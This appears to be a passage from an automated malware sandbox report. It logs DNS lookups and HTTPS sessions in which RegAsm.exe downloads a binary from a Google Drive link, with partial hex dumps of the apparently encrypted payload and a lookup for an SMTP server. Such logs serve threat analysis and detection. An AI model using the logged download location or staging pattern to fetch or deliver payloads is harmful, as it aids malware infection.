Sep 29, 2021 21:32:44.411314011 CEST	53	64054	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 29, 2021 21:26:40.640741110 CEST	192.168.11.20	1.1.1.1	0x2727	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Sep 29, 2021 21:26:41.467016935 CEST	192.168.11.20	1.1.1.1	0xd41	Standard query (0)	doc-0s-1s-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Sep 29, 2021 21:28:13.287497997 CEST	192.168.11.20	1.1.1.1	0x28f9	Standard query (0)	smtp.1and1.es	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 29, 2021 21:26:40.649574041 CEST	1.1.1.1	192.168.11.20	0x2727	No error (0)	drive.google.com		142.250.186.78	A (IP address)	IN (0x0001)
Sep 29, 2021 21:26:41.495196104 CEST	1.1.1.1	192.168.11.20	0xd41	No error (0)	doc-0s-1s-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Sep 29, 2021 21:26:41.495196104 CEST	1.1.1.1	192.168.11.20	0xd41	No error (0)	googlehosted.l.googleusercontent.com		172.217.18.97	A (IP address)	IN (0x0001)
Sep 29, 2021 21:28:13.299212933 CEST	1.1.1.1	192.168.11.20	0x28f9	No error (0)	smtp.1and1.es		212.227.15.158	A (IP address)	IN (0x0001)
Sep 29, 2021 21:28:13.299212933 CEST	1.1.1.1	192.168.11.20	0x28f9	No error (0)	smtp.1and1.es		212.227.15.142	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-0s-1s-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49823	142.250.186.78	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-29 19:26:40 UTC	0	OUT	GET /uc?export=download&id=1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2021-09-29 19:26:41 UTC	0	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 29 Sep 2021 19:26:41 GMT Location: https://doc-0s-1s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/6ij4sbsviu1voaqi3vqcfesu7arhjmk8/1632943575000/10336038596844869013/*/1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC?e=download P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'nonce-fkpKikPZugf4lNjPQRiXDg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=511=aCSZ6C5cZaNr5E0kISMBonC9jwTTzhcoI2OwJbM3t3HZYWwExCdIzcEZ8gdIzAwqt2QhdOycYE3pbpPIXi5R6kx98Z_g9T6duZBRtGzmG3aS-fSlUkFMlVrRnVERKGcgPH4aENEDfqWXEVaF8UJa5VD_8lHEwPAwk27MEwPmwZs; expires=Thu, 31-Mar-2022 19:26:40 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-09-29 19:26:41 UTC	1	IN	Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 73 2d 31 73 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 36 69 6a 34 Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-0s-1s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/6ij4
2021-09-29 19:26:41 UTC	1	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49824	172.217.18.97	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-29 19:26:41 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/6ij4sbsviu1voaqi3vqcfesu7arhjmk8/1632943575000/10336038596844869013/*/1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-0s-1s-docs.googleusercontent.com Connection: Keep-Alive
2021-09-29 19:26:41 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycduUlIxRWvoa0T_m_8jfHTJ0v3hqThUlTObTC2V1iaQGOJ_lHKiLHww2oQ1ljVzLT9yifcQbKaVxAWiqJbFlMIpvYW_f2Q Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="V2_DpNvHML128.bin";filename*=UTF-8''V2_DpNvHML128.bin Date: Wed, 29 Sep 2021 19:26:41 GMT Expires: Wed, 29 Sep 2021 19:26:41 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=JWDB9A== Content-Length: 220736 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-29 19:26:41 UTC	5	IN	Data Raw: 57 24 f9 8f a6 b9 92 52 e1 bc 4c d6 e9 18 4f e8 dd 26 89 ea 58 3c ee d5 a8 f6 fe 31 d0 ed 88 60 fa 97 31 0e c5 ac 1c 69 a1 5f e6 34 e0 ad 7b 48 25 49 82 13 13 2f 4b 7d fa dd 92 51 a4 94 62 58 8d e0 5b 89 13 1f 44 85 a0 9e bf d3 28 3a 60 06 9b 5b 8b 51 18 34 2f 55 39 8f a0 e4 40 81 2e 4a 41 0c c4 c0 c4 3b 84 39 50 c8 a6 91 e8 55 82 4f e1 32 51 ac c1 df 3f 33 0f 52 ab 78 f4 3c 2e b1 36 65 07 33 5c fe 16 0a 41 b8 a8 3a 47 1f 5f 3e d5 76 c5 69 25 7e b0 04 d0 04 5c 00 7e 56 5b e1 eb b5 1a 9b 19 a4 ba e1 89 09 5e 77 b7 b5 2f 82 84 29 03 6e 85 27 7f 49 22 77 79 3d 9f 29 c4 0e ec b7 47 9a c8 86 6b 1e 36 ce 0e 1c 64 8d d3 a3 be 8d b9 eb 33 36 b2 3d 38 f6 b9 0c bd c8 34 b2 14 18 26 e6 56 a6 aa 1b 77 c7 29 b1 57 2d 88 de 1d 51 30 89 17 6c 0b 55 70 4e b4 c1 98 a6 f5 Data Ascii: W$RLO&X<1`1i_4{H%I/K}QbX[D(:`[Q4/U9@.JA;9PUO2Q?3Rx<.6e3\A:G_>vi%~\~V[^w/)n'I"wy=)Gk6d36=84&Vw)W-Q0lUpN
2021-09-29 19:26:41 UTC	9	IN	Data Raw: 60 b7 60 7d f9 3d b2 02 a5 ce 56 3f 96 2a 82 95 99 98 0d 33 e9 1b d9 c3 d7 c0 e0 04 92 87 62 cb 1c 8e 98 bb 19 35 82 45 2f 84 cf fa db 54 bd a3 f1 02 bc 3c fb 28 e6 a2 5a 32 00 cb 5c c3 12 8a b1 1c ce 5a ff a8 fa e8 2f 67 39 b4 c3 6f f3 16 45 24 d9 01 ab 23 88 4c 4b 84 3f 44 2f 92 c9 bb c8 e0 d6 9c c7 78 6b ae 64 4b 0f 8e 95 b2 4c b4 d2 1d 2c 2e 0e a8 41 ee 5f 3f 43 cb 9b 5c 76 27 3c 64 76 51 3c 3e 00 27 fa 6c 8d 36 e2 f5 64 fd 10 2f 15 f6 fd fa 06 bf 3c cc c6 59 b6 bb 6e 51 20 eb 3f 76 3b 6a 77 15 ea 01 d9 45 7f 63 50 46 13 35 9b 9c 4e 29 9b 44 88 0e b2 54 ff e2 fb 8c fd bc 0b 7d 48 35 6e cd 19 b5 fa a8 b8 57 6c fe 98 16 57 f4 50 5b 17 03 6a 40 ce 26 13 d4 86 a1 b7 5d 38 9b 4f 99 e4 08 4f 8e 62 a8 7c 90 19 60 fd 5e ec 5d 27 97 76 c3 70 11 24 df dd cc d0 Data Ascii: ``}=V?*3b5E/T<(Z2\Z/g9oE$#LK?D/xkdKL,.A_?C\v'<dvQ<>'l6d/<YnQ ?v;jwEcPF5N)DT}H5nWlWP[j@&]8OOb\|`^]'vp$
2021-09-29 19:26:41 UTC	12	IN	Data Raw: 1d ed 5f 93 ce 06 f9 1e 3f 9e 04 10 e2 82 78 f3 e2 af 2b 2c d8 d8 4b 82 54 f0 3a 11 0d b7 8d 21 80 8a b6 c4 56 91 f2 64 8a dc 5d a3 1b 2f 18 43 ce 97 f4 3d 5e 60 b8 ed 3f b5 77 ce 1c b9 08 b4 04 2b 3e 11 9c e3 4d 1d 84 38 38 29 d3 f3 0f a4 a1 cc 46 47 84 db 10 23 ae 5f c5 d1 07 38 60 a2 fc 4f 68 70 0d d5 23 51 43 3e bb e7 84 19 00 48 ad d7 9c bf d5 75 da 70 15 27 5b 9a 55 07 3f d1 54 55 83 a9 fa 3e 99 2e 4a 45 ae db cc d7 3f 84 28 54 de 58 90 c4 56 95 5c e5 32 40 a8 de c7 c1 32 23 50 80 7d 4c d4 d3 4e c7 7d c3 24 5c 4a 1b ef 44 00 a9 7c a0 2d 3b 54 bc 0d e4 19 57 19 d7 76 a0 7f 77 48 04 38 32 99 61 94 54 fc 21 dd cf 88 bf 9e 31 7b f1 ed 77 a2 ee 5e 99 0a 87 28 59 41 2d 94 51 4b 9d 29 c2 0c 94 69 47 9a 8e af 1f 1c a7 7d 21 e6 64 8d d9 bc b4 01 e6 eb d3 37 Data Ascii: _?x+,KT:!Vd]/C=^`?w+>M88)FG#_8`Ohp#QC>Hup'[U?TU>.JE?(TXV\2@2#P}LN}$\JD\|-;TWvwH82aT!1{w^(YA-QK)iG}!d7
2021-09-29 19:26:41 UTC	16	IN	Data Raw: b8 f4 f8 65 e3 a4 c9 c3 0f b0 97 0d 2c d7 a0 a7 63 13 7e db 86 27 02 f9 3d 5e d5 76 c8 40 99 6c 01 9e ad dc df 26 7b ec 6c 60 b7 60 72 da 3f 85 02 a5 c5 6d 1b be 10 82 ec 93 50 82 22 eb 33 1c c3 d7 c4 8f 9b 92 c5 f3 15 1a a6 af bb 19 3f aa 7d 2f 29 68 24 c9 5f b5 8b 19 19 8c 3f 94 f9 e7 a2 50 ff 0f ee 65 f6 3a c3 bb 0f e1 06 f4 a8 fa e3 fb 61 39 44 c1 6f ff 51 c6 24 d9 01 85 8f e5 00 4d ac 11 42 0f b8 94 92 d9 a6 b3 c0 c7 72 6b aa 2c 2d b3 8c 9f b2 42 a1 95 ef 2e 2e 02 86 4e a3 5d 35 6d fa cb 5c 70 3e 12 64 86 51 3c 3e 7e 51 d2 d3 85 30 8b 8f 43 fd 1a 2e 3a dc c7 fa 00 ad 79 b7 78 5b bc 95 30 74 08 2d 2b 5e 13 42 50 1f fc 4b 7a 1b 7f 63 51 3a 6b 1d 25 94 42 28 e5 3b a0 cf ba e3 ee 1c 51 a7 fd b6 22 2e 4b 2d 70 ad 6b 9d 44 a0 ab 55 6a ca b5 53 46 f3 40 ff Data Ascii: e,c~'=^v@l&{l``r?mP"3?}/)h$_?Pe:a9DoQ$MBrk,-B..N]5m\p>dQ<>~Q0C.:yx[0t-+^BPKzcQ:k%B(;Q".K-pkDUjSF@
2021-09-29 19:26:41 UTC	18	IN	Data Raw: 25 89 6d 29 86 e4 5c 91 ce 4e 14 05 25 fd 35 54 e6 c7 69 c8 21 2a 03 40 6a 40 6e af b0 05 31 8f bf a3 a2 ca 3a 7b 49 a7 21 28 cb ba c9 c2 72 ef f8 31 4d cb c4 62 98 d7 d8 4e 76 75 e0 36 30 6c 7b 86 6a 42 e2 b8 1a 6d 2c 6d d7 1b c3 46 be 8e 14 c3 1f d5 45 43 60 be 2d 0a ca 20 e9 88 2b bf 09 92 7f 28 eb 5d 52 d5 e7 af d4 14 5a 95 05 1c f6 46 80 ca 06 e8 1a 20 8c fa 11 ce e4 72 ec ed 94 5f 2e d8 a0 ea 9d 47 ec 3e 11 1c a9 92 37 7f 8b 9a ca 28 01 f1 64 8e eb 21 a3 1b b4 04 54 dd 9c f4 2c 5a 6d 46 ec 12 b6 6f dd 18 13 1a b0 1f db 3f 3d 97 52 56 63 9c 37 38 2d 71 f5 1c a0 a0 dd 42 58 91 e2 12 0f a5 58 ed aa 07 ed 69 a9 e3 56 7b 74 0d de 27 4e 4d c0 ba cb 89 f4 1c 44 85 aa 9e bf d3 25 c6 60 06 2c 5b 8b 51 02 34 2f 54 79 8f a0 e4 41 85 2e 4a 4f 0c c4 c0 cb 3f 84 Data Ascii: %m)\N%5Ti!*@j@n1:{I!(r1MbNvu60l{jBm,mFEC`- +(]RZF r_.G>7(d!T,ZmFo?=RVc78-qBXXiV{t'NMD%`,[Q4/TyA.JO?
2021-09-29 19:26:41 UTC	19	IN	Data Raw: ca ca 19 c9 47 05 df 51 03 2c dd 7e a8 46 3b 49 db 86 2d 11 76 19 66 d5 5e c2 9e 99 a9 05 b6 71 c9 df 20 14 30 6c 60 bc be 7d ff 17 46 0e a5 cf f3 3f 96 28 03 e1 99 8e 8d 33 e3 1b c3 c3 d7 c3 e0 5d 92 c5 61 c6 16 8e ff bb 19 35 7d 48 2f 29 6d fa c9 4e a7 a3 f0 18 97 09 fd 3f 1e a3 5a 21 23 cb 4d d0 49 15 b1 1c ce 22 e4 7a f8 e9 23 49 c2 fc c3 69 8a d9 0e 24 d3 00 a5 1c 33 02 4b 82 5a 95 0f b2 8d b3 df e0 43 9c c7 78 65 af 64 dc 0f 8e 95 bc 54 e9 67 52 2c 24 0c b1 70 cc 86 3f 45 ae e3 89 74 2d 3c 3f e4 53 3c 32 7c 73 d2 be 85 30 8b d4 b8 fd 1a 2e 1f 8b d6 ff 75 63 53 9f cc 4a b8 82 25 51 4f 33 29 5e 1f 7c 72 09 02 40 0d 7c ce 63 57 29 56 31 8d f9 9d 2e f4 16 a0 99 b8 e3 e2 37 19 3f fd bc 00 63 43 3c 7e cd 37 b5 fa a8 b8 5a 08 0d 9d 00 4e e0 41 c6 2f 2b 01 Data Ascii: GQ,~F;I-vf^q 0l`}F?(3]a5}H/)mN?Z!#MI"z#Ii$3KZCxedTgR,$p?Et-<?S<2\|s0.ucSJ%QO3)^\|r@\|cW)V1.7?cC<~7ZNA/+
2021-09-29 19:26:41 UTC	20	IN	Data Raw: 61 f5 34 d9 a1 dd 48 4b 9e 37 1e 71 b0 56 ed ae 2f 42 6a a9 e9 fb 6a 64 16 c2 85 5f 5c dc c4 dc 89 10 1b e6 94 b4 83 b9 71 c6 d5 7e 05 81 4a 9b 79 63 34 2f 5f 75 89 d3 98 40 81 28 59 47 24 19 c2 c4 3d 95 3f 58 a7 26 91 e8 53 aa 6b e1 32 5b a0 e9 01 3d 33 09 41 a3 69 7c 14 67 b1 38 70 c9 0e 5c 4a 1e d4 64 7e b3 76 8a 3a 27 76 94 da e7 19 51 31 8d 55 b1 69 6a 10 b8 39 35 88 8c 9c 69 fa 28 df bb f8 a9 60 31 38 01 fa 7c a8 f8 42 4f 41 ab 2a 78 2c 4d 77 79 37 8e 2d d3 61 f0 f2 47 90 95 83 48 0e 80 7b 09 12 29 8d d3 a9 af 89 ae 84 9d 36 b0 36 22 f3 ae 3e d2 d1 37 b2 1e 0f 22 ce 18 a4 aa 1d 06 e3 2a b1 5d 1c 8c f6 fd 53 30 8f 78 3c 4b 55 7a 66 9c 20 9a a4 f3 20 72 3a d0 a8 fa d2 b7 2d 4d b7 ed 6f 78 e5 5d ad 37 88 1d 58 ce 60 61 50 17 16 41 02 0f 5a 7a 3e c9 d1 Data Ascii: a4HK7qV/Bjjd_\q~Jyc4/_u@(YG$=?X&Sk2[=3Ai\|g8p\Jd~v:'vQ1Uij95i(`18\|BOAx,Mwy7-aGH{)66">7"]S0x<KUzf r:-Mox]7X`aPAZz>
2021-09-29 19:26:41 UTC	22	IN	Data Raw: e0 06 be 52 84 f6 5d bc 03 21 53 20 c4 29 5e 04 42 59 1d fc 47 59 3b 5d 63 57 2d 6f ca 9b 96 48 41 99 1c 88 04 b4 9d ca 34 76 a3 d5 fa 0a 70 4d 05 73 bf 40 bf 95 a4 aa 53 71 e0 94 14 ba f2 50 29 29 0a 42 6f df 20 3e fe a6 86 a6 5b 1a d7 b1 98 f8 f1 21 b6 4e a6 7f a9 67 08 27 ef ab 22 27 97 76 db ab 39 29 da 24 1b d5 0b b0 06 33 fe 72 e4 46 ec b8 10 12 5c 28 f4 92 a1 04 77 6c 43 be fb 53 91 8f 4c 14 09 d3 d9 21 47 eb b2 b9 c7 04 06 22 73 44 51 55 c7 9a 3d 37 a7 71 7f a2 cb 01 7f 36 74 21 28 c1 94 02 bb 0d e5 df 46 4f cb c3 59 8f d4 d8 e7 5e 4f e0 1c 36 4a 7b 95 08 ae 77 b8 10 7c 24 0b 04 e5 c2 60 a1 b9 7b 00 17 ba 9a 69 7e b9 07 03 d3 de a9 b0 3c c1 2a 92 7f 2c 9d 7c 52 d5 af 87 97 14 0f 90 23 06 ed 46 89 d6 f8 e9 36 31 f2 db 11 ce 8b 77 e4 c5 ba 5f 2e de Data Ascii: R]!S )^BYGY;]cW-oHA4vpMs@SqP))Bo >[!Ng'"'v9)$3rF\(wlCSL!G"sDQU=7q6t!(FOY^O6J{w\|$`{i~<*,\|R#F61w_.
2021-09-29 19:26:41 UTC	23	IN	Data Raw: 37 b2 10 60 2e e6 56 a2 c5 d2 69 b2 20 ac 8d 62 80 df 1d 5b 3a 8f 3f 9e 49 55 76 78 9c ef 98 a4 ff 1e 6e 39 c6 50 94 d4 bf 2d 47 bf bb f0 78 e5 53 ca 91 10 1d 52 de b7 1f 5c 3e f5 49 7c 11 35 89 3a df f3 79 da 23 6e 2f e2 b5 68 57 7e d5 cd 59 da ca c7 d4 6d fa 5d 24 ba 43 73 89 c3 15 88 05 98 9c ce 1d 4a 1d 60 b5 ed da 1a 58 88 9d 39 a2 e9 a0 c5 99 20 88 5a 6f f5 e9 67 a4 13 c8 c3 03 dd 4e 04 d2 dc 21 84 5f 45 41 db 86 29 39 29 17 66 d3 5e e6 9e 99 77 89 be 71 dc db fd 18 2c 6c 60 95 ba 7d ff 11 dd 0b a4 cf 74 50 9c 29 82 e6 9b 91 f1 cd e2 44 f5 da a9 ca e0 5d 96 ed 0d c9 16 88 b0 9f 19 35 88 c5 27 29 62 fe 14 92 b8 a3 f0 1b 93 30 c8 26 99 aa 5a 21 04 e3 b8 c3 3a c5 99 38 c4 2e c6 28 f2 e9 25 65 cc 40 c6 6f f9 7b 11 3f ea 12 d3 3c e7 00 4f ac c3 40 0f b4 Data Ascii: 7`.Vi b[:?IUvxn9P-GxSR\>I\|5:y#n/hW~Ym]$CsJ`X9 ZogN!_EA)9)f^wq,l`}tP)D]5')b0&Z!:8.(%e@o{?<O@
2021-09-29 19:26:41 UTC	24	IN	Data Raw: 6a 89 13 a5 fb c6 18 7c 24 06 31 fe c1 4c ae 97 30 d2 17 b0 10 4b 60 b4 03 32 a2 21 a8 9c 2c 07 23 df 7f 28 e4 76 b4 d7 ab a9 c2 3c 21 96 05 16 f6 75 99 b4 0e e8 1a 24 a4 1d 13 ce 89 59 c8 ed 87 55 ae d0 de e9 99 7f d9 3f 11 1c b1 2a 1f 33 8b 9a cc 00 64 f0 64 88 f3 09 8d 1b 2f 0d 42 ee 8a 8a 24 5a 77 42 c4 fa b4 6f db 30 9d 19 b0 15 55 37 3d 97 ee 6d 6f 9d 38 38 2f c9 c7 51 a0 a1 db 6a 9d 93 25 17 19 8d 78 ed aa 0d 2e 59 b0 9d 51 7b 74 09 ec cd 4c 4c c6 92 ef 89 10 15 c4 8d a4 9e bb eb 09 c5 60 06 0b 5f 8b 51 1e 5b 26 54 79 85 cf e9 41 81 24 62 45 0c c4 c6 ab 32 85 39 5a a7 a8 90 e8 5f 94 b1 e0 6d 7d 8c bf d7 3f 33 0b 50 13 50 39 3c 2e b7 57 75 bc 3d 56 62 3b c7 60 0a 29 7e 8a 3e 0f 6e 26 05 e5 19 7f 15 d7 76 b7 06 75 62 1f 32 5a 83 9e 95 72 e8 c7 d7 e7 Data Ascii: j\|$1L0K`2!,#(v<!u$YU?*3dd/B$ZwBo0U7=mo88/Qj%x.YQ{tLL`_Q[&TyA$bE29Z_m}?3PP9<.Wu=Vb;`)~>n&vub2Zr
2021-09-29 19:26:41 UTC	25	IN	Data Raw: e2 5d 94 da c5 d8 0d 8e 89 a0 06 23 7c 44 03 27 60 eb c2 66 ae a2 f0 13 9f 2b e4 28 f4 b9 5a 30 1b d4 42 3f 3b ef bb 0d cf 30 1a bb f1 f6 35 72 0a fe d2 74 e6 6e f0 25 f5 01 bc 3f fd d6 58 8f 2a 5a 1c a9 87 aa d3 90 ab 62 c6 5e 7c a8 0d 12 d5 99 49 39 78 86 bd 53 3f 2b 1b 9f 7a b8 5d 2e 5e bb c6 a2 77 01 34 4e 29 58 14 2b 6e 76 f0 7f 8d 2f 83 b4 7f fd 0b 3f 0d a6 39 fb 2a aa 7b 8e c7 59 b6 91 30 58 31 e9 46 48 14 6a 7d 12 e3 64 41 5e 7f 72 4c 36 67 cb 9a ba 57 06 e5 1d 88 04 ba f2 e3 25 78 c8 eb bd 0a 7a 58 20 69 9f 53 ae fa b3 b0 4c 6f 13 9c 2c 49 f1 57 dc 00 10 6b 41 d7 2c 27 fd 9d b3 a6 4a 0b de 50 67 ef 23 2a c7 69 b2 a0 92 15 15 07 fa 98 06 36 8c 63 e8 8b 01 0d c9 cb 00 c8 ea 88 1d 00 d0 61 ff 5f f4 6e 3f 3e 56 33 e9 76 76 01 82 72 2c 81 ec 5b a8 ed Data Ascii: ]#\|D'`f+(Z0B?;05rtn%?XZb^\|I9xS?+z].^w4N)X+nv/?9{Y0X1FHj}dA^rL6gW%xzX iSLo,IWkA,'JPg#*i6ca_n?>V3vvr,[
2021-09-29 19:26:41 UTC	27	IN	Data Raw: e3 c4 3b 84 39 50 c8 56 ae b1 7d 13 4f e1 38 e6 bb 17 52 14 33 0f 53 b8 6e 65 29 3f a7 3f 16 9e 3d 5c 4a 1f c7 60 20 e9 2d a2 21 0a 56 b6 2d c5 18 57 1b c6 72 a0 7f 7a 7a 37 69 35 8e 99 86 7f 20 2a fe f8 8f a9 6a 18 6f f3 fa 76 7c e9 50 ea 20 ab 2a 73 69 17 70 53 3c 83 29 c4 0e bc 53 46 0a b5 85 67 04 a7 7b 08 7d 64 c5 d1 cd 08 8f b5 f1 d3 36 b1 27 03 f2 b1 e5 bd 9e 37 83 14 1e 37 e2 76 a8 2a 1b 69 81 3b b3 24 2c 89 de 17 5a 37 8a 78 4e 4a 55 7a 62 bc eb 9c 84 f1 88 90 38 90 12 95 aa b7 2f 34 98 c4 f8 72 e8 48 e5 d5 3b 1d 58 c5 7e 74 4b 7f 78 68 02 09 34 9a 3b c0 d8 38 f8 22 64 33 0f b2 68 ba 78 9b e5 54 a3 dd f1 fc 4d ed 23 26 26 52 72 f7 0d 0a d4 27 ab 47 a1 f8 d6 0c 6d 22 33 c9 1d 4d 52 be 00 93 35 9e c3 17 97 99 ef 75 f9 fa 65 e0 3f d8 c7 18 d7 40 09 Data Ascii: ;9PV}O8R3Sne)??=\J` -!V-Wrzz7i5 jov\|P sipS<)SFg{}d6'77v*i;$,Z7xNJUzb8/4rH;X~tKxh4;8"d3hxTM#&&Rr'Gm"3MR5ue?@
2021-09-29 19:26:41 UTC	28	IN	Data Raw: e1 28 03 7b 57 d1 0b 59 e8 86 b2 58 5a 3c d1 4c 8f e9 0d ae 61 61 26 c1 a9 2b 0b 27 e3 98 0a 27 9f 64 2e 74 2c 32 cc 54 ad c0 7b 06 d8 0c 0a 67 32 cd d1 90 3e 13 57 3b ee 6c a8 05 77 6c 0f 90 ef 57 b9 fe 57 ea 0e d7 f3 23 51 e6 af 65 46 96 06 20 72 44 51 5c cf b2 0d 21 59 7a 8d a0 db 27 7e 2e 6f df 29 ed 90 29 c0 59 78 d7 76 4f cb c2 51 8f d2 d8 40 5a 4f e0 01 36 4a 7b f0 33 97 e2 b2 1b 54 3d 01 19 1d eb 5d a9 bf 1e d0 08 b6 8f 0b 0f a2 06 0a c0 08 b3 9d 2e b5 18 94 7d 00 b5 5e 52 d3 b8 a8 ce 07 07 89 15 91 cb 46 80 cb 15 e2 0b 27 96 eb 1b d8 90 61 c4 f8 86 5f 24 c9 d6 f6 8d 91 f0 36 00 1b a2 9a 1f 6a 